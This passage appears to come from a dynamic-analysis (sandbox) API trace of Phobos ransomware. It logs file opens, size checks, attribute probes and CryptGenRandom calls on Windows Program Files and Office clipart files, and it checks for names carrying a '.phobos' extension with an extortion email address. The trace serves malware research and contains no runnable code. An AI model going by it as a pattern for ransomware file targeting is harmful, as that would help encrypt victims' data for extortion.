hTemplateFile=0x0) returned 0x56c [0148.590] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=14856) returned 1 [0148.590] CloseHandle (hObject=0x56c) returned 1 [0148.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0148.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.590] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0148.592] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=630) returned 1 [0148.593] CloseHandle (hObject=0x56c) returned 1 [0148.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0148.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.593] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0148.593] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9804) returned 1 [0148.593] CloseHandle (hObject=0x56c) returned 1 [0148.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0148.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.594] ResetEvent (hEvent=0x50c) returned 1 [0148.594] SetEvent (hEvent=0x510) returned 1 [0148.594] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0148.595] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9975) returned 1 [0148.595] CloseHandle (hObject=0x56c) returned 1 [0148.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0148.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.595] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0149.048] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0149.052] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2952) returned 1 [0149.052] CloseHandle (hObject=0x574) returned 1 [0149.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x220 [0149.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0x20 [0149.054] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0149.060] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=20784) returned 1 [0149.060] CloseHandle (hObject=0x574) returned 1 [0149.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x220 [0149.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.061] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0149.063] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2226) returned 1 [0149.063] CloseHandle (hObject=0x574) returned 1 [0149.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x220 [0149.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.063] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0149.106] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=14820) returned 1 [0149.106] CloseHandle (hObject=0x574) returned 1 [0149.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x220 [0149.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.111] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0149.114] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3692) returned 1 [0149.114] CloseHandle (hObject=0x574) returned 1 [0149.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x220 [0149.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.115] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0149.117] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3616) returned 1 [0149.117] CloseHandle (hObject=0x574) returned 1 [0149.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x220 [0149.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.118] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0149.120] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2140) returned 1 [0149.120] CloseHandle (hObject=0x574) returned 1 [0149.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x220 [0149.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.130] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0149.139] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2960) returned 1 [0149.139] CloseHandle (hObject=0x574) returned 1 [0149.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x220 [0149.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.140] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0149.142] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2300) returned 1 [0149.142] CloseHandle (hObject=0x574) returned 1 [0149.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x220 [0149.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.142] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0149.144] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2300) returned 1 [0149.144] CloseHandle (hObject=0x574) returned 1 [0149.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x220 [0149.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.145] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0149.150] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2080) returned 1 [0149.150] CloseHandle (hObject=0x574) returned 1 [0149.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x220 [0149.169] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.171] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0149.176] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2004) returned 1 [0149.176] CloseHandle (hObject=0x574) returned 1 [0149.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x220 [0149.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.176] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.253] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2020) returned 1 [0149.253] CloseHandle (hObject=0x57c) returned 1 [0149.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x220 [0149.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.254] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 